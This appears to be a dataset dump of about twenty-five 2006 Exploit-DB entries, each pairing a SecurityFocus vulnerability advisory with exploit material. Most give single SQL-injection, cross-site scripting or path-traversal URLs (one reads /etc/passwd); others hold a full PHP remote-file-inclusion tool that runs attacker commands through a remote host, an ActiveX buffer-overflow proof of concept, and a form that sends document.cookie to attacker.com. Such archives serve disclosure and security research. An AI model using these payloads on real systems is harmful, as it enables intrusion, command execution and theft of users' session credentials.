QLWD/code_shield huggingface dataset:
标题: Microsoft Windows - Path Conversion EDB-ID: 27851 CVE: 2006-2334 类型: REMOTE 平台: WINDOWS 发布日期: 2006-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17934/info

Microsoft Windows is susceptible to a path-conversion weakness that may allow attackers to bypass security applications. This issue occurs because the operating system uses multiple differing algorithms to resolve file paths.

Attackers may exploit this issue to bypass security software such as antivirus and antispyware products. Other attacks may also be possible.

Any software using the affected function (or APIs and other functions that in turn use the affected function) may be affected by this issue. Specific information regarding affected software and versions is known to be incomplete and possibly inaccurate. This BID will be updated as further information is disclosed.

echo X5O!P%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*>"\\?\C:\malware.exe " URL: https://www.exploit-db.com/exploits/27851
标题: EPublisherPro 0.9.7 - 'Moreinfo.asp' Cross-Site Scripting EDB-ID: 27844 CVE: 2006-2306 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17907/info

EPublisherPro is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/publisher/moreinfo.asp?bookid=2&title=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/27844
标题: timobraun Dynamic Galerie 1.0 - 'index.php?pfad' Cross-Site Scripting EDB-ID: 27840 CVE: 2006-2294 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17896/info
  
Dynamic Galerie is prone to a directory-traversal vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/index.php?pfad=[XSS] URL: https://www.exploit-db.com/exploits/27840
标题: timobraun Dynamic Galerie 1.0 - 'galerie.php?pfad' Arbitrary Directory Listing EDB-ID: 27839 CVE: 2006-2295 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17896/info
 
Dynamic Galerie is prone to a directory-traversal vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/galerie.php?pfad=/home/ URL: https://www.exploit-db.com/exploits/27839
标题: timobraun Dynamic Galerie 1.0 - 'galerie.php?id' Cross-Site Scripting EDB-ID: 27841 CVE: 2006-2294 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17896/info
   
Dynamic Galerie is prone to a directory-traversal vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/galerie.php?id=[XSS] URL: https://www.exploit-db.com/exploits/27841
标题: EImagePro - 'subList.asp?CatID' SQL Injection EDB-ID: 27846 CVE: 2006-2300 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17911/info

EImagePro is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/subList.asp?CatID=&#039; URL: https://www.exploit-db.com/exploits/27846
标题: ISPConfig 2.2.2/2.2.3 - 'Session.INC.php' Remote File Inclusion EDB-ID: 27845 CVE: 2006-2315 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17909/info

ISPConfig is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 2.2.2; other versions may also be affected.

<?php
/*
ISPConfig Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN

example:
turl: http://www.target.com/lib/session.inc.php?go_info[server][classes_root]=
hurl: http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>"
    ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?> URL: https://www.exploit-db.com/exploits/27845
标题: Cartweaver 2.16.11 - 'Results.cfm' SQL Injection EDB-ID: 27853 CVE: 2006-2046 类型: WEBAPPS 平台: CFM 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/17941/info

Cartweaver ColdFusion is prone to SQL-injection vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input before using it in SQL queries. 

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/Results.cfm?category=[SQL]
http://www.example.com/Results.cfm?keywords=[SQL] URL: https://www.exploit-db.com/exploits/27853
标题: timobraun Dynamic Galerie 1.0 - 'index.php?pfad' Arbitrary Directory Listing EDB-ID: 27838 CVE: 2006-2295 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17896/info

Dynamic Galerie is prone to a directory-traversal vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?pfad=/tmp/ URL: https://www.exploit-db.com/exploits/27838
标题: Creative Software UK Community Portal 1.1 - 'DiscReply.php?mid' SQL Injection EDB-ID: 27836 CVE: 2006-2255 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17890/info
     
Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
     
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
     
Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/DiscReply.php?forum_id=1&mid=[SQL] URL: https://www.exploit-db.com/exploits/27836
标题: EvoTopsite 2.0 - 'index.php' Multiple SQL Injections EDB-ID: 27837 CVE: 2006-2339 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17893/info

evoTopsite is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/products/evotopsites/demo/index.php?cat_id=-13&#039;%20union%20select%20password%20from%20evots_user%20%20where%20&#039;1&#039;=&#039;1 URL: https://www.exploit-db.com/exploits/27837
标题: Creative Software UK Community Portal 1.1 - 'Discussions.php?forum_id' SQL Injection EDB-ID: 27833 CVE: 2006-2255 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17890/info
  
Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/Discussions.php?forum_id=[SQL] URL: https://www.exploit-db.com/exploits/27833
标题: Singapore 0.9.7 - 'index.php' Cross-Site Scripting EDB-ID: 27824 CVE: 2006-2262 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17874/info

The 'singapore' application is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/images/index.php?gallery=[gallery name]&image=<iframe%20src="http://www.example.com">
http://www.example.com/images/index.php?gallery=[gallery name]&image=<script>alert("lol")<script> URL: https://www.exploit-db.com/exploits/27824
标题: Creative Software UK Community Portal 1.1 - 'ArticleView.php?article_id' SQL Injection EDB-ID: 27831 CVE: 2006-2255 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17890/info

Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/ArticleView.php?article_id=[SQL] URL: https://www.exploit-db.com/exploits/27831
标题: Ocean12 Technologies Calendar Manager Pro 1.0 1 - '/admin/main.asp?date' SQL Injection EDB-ID: 27825 CVE: 2006-2264 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17877/info

Calendar Manager Pro is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/admin/main.asp?date=[SQL] URL: https://www.exploit-db.com/exploits/27825
标题: Creative Software UK Community Portal 1.1 - 'PollResults.php' Multiple SQL Injections EDB-ID: 27835 CVE: 2006-2255 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17890/info
    
Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
    
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
    
Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/PollResults.php?answer_id=32&AddVote=[SQL]
http://www.example.com/PollResults.php?answer_id=[SQL] URL: https://www.exploit-db.com/exploits/27835
标题: Creative Software UK Community Portal 1.1 - 'EventView.php?event_id' SQL Injection EDB-ID: 27834 CVE: 2006-2255 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17890/info
   
Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
   
Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/EventView.php?event_id=[SQL] URL: https://www.exploit-db.com/exploits/27834
标题: Ocean12 Technologies Calendar Manager Pro 1.0 1 - '/admin/main.asp?date' Cross-Site Scripting EDB-ID: 27828 CVE: 2006-2265 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17877/info
   
Calendar Manager Pro is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
http://www.example.com/path/admin/main.asp?date=[CSS] URL: https://www.exploit-db.com/exploits/27828
标题: Ocean12 Technologies Calendar Manager Pro 1.0 1 - '/admin/edit.asp?ID' SQL Injection EDB-ID: 27827 CVE: 2006-2264 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17877/info
  
Calendar Manager Pro is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/patj/admin/edit.asp?ID=[SLQ] URL: https://www.exploit-db.com/exploits/27827
标题: Creative Software UK Community Portal 1.1 - 'DiscView.php?forum_id' SQL Injection EDB-ID: 27832 CVE: 2006-2255 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17890/info
 
Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/DiscView.php?mid=144&forum_id=[SQL] URL: https://www.exploit-db.com/exploits/27832
标题: Ocean12 Technologies Calendar Manager Pro 1.0 1 - '/admin/view.asp?searchFor' SQL Injection EDB-ID: 27826 CVE: 2006-2264 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17877/info
 
Calendar Manager Pro is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/admin/view.asp?SearchFor=[SQL] URL: https://www.exploit-db.com/exploits/27826
标题: Invision Power Board 2.0/2.1 - 'index.php' SQL Injection EDB-ID: 27818 CVE: 2006-2217 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/17839/info

Invision Power Board is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/forums/index.php?act=reputation&fid=5&pid=|SQL| URL: https://www.exploit-db.com/exploits/27818
标题: Cryptomathic - ActiveX Control Remote Buffer Overflow EDB-ID: 27820 CVE: 2006-1172 类型: REMOTE 平台: WINDOWS 发布日期: 2006-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/17852/info

Cryptomathic ActiveX control is prone to a buffer-overflow vulnerability. The software fails to perform sufficient bounds-checking of user-supplied input before copying it to an insufficiently sized memory buffer.

Invoking the object from a malicious website or HTML email may trigger the condition. If the vulnerability were successfully exploited, this would corrupt process memory, resulting in arbitrary code execution. Arbitrary code would be executed in the context of the client application.

<html> <head> <title>CIRT.DK - Cryptomathic ActiveX Buffer Overflow</title> <IMG SRC="http://www.cirt.dk/images/logo.jpg"> </head> <body> <center> <h1>TDC Digital Signature ActiveX Buffer Overflow</h1> <h4> (c)2006 by Dennis Rand - CIRT.DK</h4> The following Proof-of-Concept will make Internet Explorer shutdown, if you are vulnerable.<br> </center> <br> <script>alert('Press "OK" to see if you are vulnerable')</script> <object classid='clsid:6DA9275C-64E5-42A1-879C-D90B5F0DC5B4' id='target' ></object> <script language='vbscript'> arg1 = String(8, "A") arg1 = arg1 + "ABCD" ' EIP is overwritten here arg1 = arg1 + String(64, "B") arg1 = arg1 + "AABB"  ' Pointer to the next SEH Handler arg1 = arg1 + "BBAA" ' SE Handler arg1 = arg1 + String(700, "C") arg2 = "DefaultV" target.createPKCS10 arg1 ,arg2 </script> <script>alert('You are secure')</script> </body> </html> URL: https://www.exploit-db.com/exploits/27820
标题: OpenFAQ 0.4 - 'Validate.php' HTML Injection EDB-ID: 27821 CVE: 2006-2252 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/17860/info

OpenFAQ is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Example exploit: <form action=http://host/openfaq-0.4.0/submit.php?ask=go method=post> <input type=text name=q value="<SCRIPT>document.location='http://attacker.com/get.cgi? value='+escape(document.cookie)</SCRIPT>"> <input type=hidden name=email> <input type=submit value=Submit> </form> URL: https://www.exploit-db.com/exploits/27821
标题: openEngine 1.7/1.8 - Template Unauthorized Access EDB-ID: 27823 CVE: 2006-2280 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17871/info

openEngine is prone to an unauthorized-access vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to access privileged and potentially sensitive information. This may aid in other attacks.

http://www.example.com/cmspath/website.php?template=../system/03_admin/edit/upload&site_pool=/
http://www.example.com/cmspath/website.php?template=../system/03_admin/edit/individual&include=/etc/passwd
http://www.example.com/cmspath/website.php?template=../system/admin/accounts&action2=searchaccounts&accounts_group=2
http://www.example.com/cmspath/website.php?template=../system/admin/accounts&action2=searchaccounts&accounts_group=2&action=editaccount&accounts_lastname=&accounts_email=&accounts_group=2&account_key=<account_key> URL: https://www.exploit-db.com/exploits/27823
标题: CuteNews 1.4.1 - 'search.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27819 CVE: 2006-2249 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/17850/info

CuteNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.comsearch.php?dosearch=yes&story=%22%3E%3Cscript%3Ealert%28%22NST+PoC+by+K4P0%22%29%3B%3C%2Fscript%3E&title=&user=&from_date_day=&from_date_month=&from_date_year=&to_date_day=&to_date_month=&to_date_year=

http://www.example.comsearch.php?dosearch=yes&title=%22%3E%3Cscript%3Ealert(%22NST%20PoC%20by%20K4P0%22  );%3C/script%3E&user=&from_date_day=&from_date_month=&from_date_year=&to_date_day  =&to_date_month=&to_date_year=

http://www.example.comsearch.php?dosearch=yes&story=K4P0&user=%22%3E%3Cscript%3Ealert(%22NST%20PoC%20by%20K4P0%22);%3C/script%3E&from_date_day=&from_date_month=&from_date_year=&to_date_day=&to_date_month=&to_date_year=

http://www.example.comsearch.php?dosearch=yes&title="><script>window.location=&#039;http://www.neosecurityteam.net/&#039;;</script>&user=&from_date_day=&from_date_month=&from_date_year=&to_date_day=&to_date_month=&to_date_year= URL: https://www.exploit-db.com/exploits/27819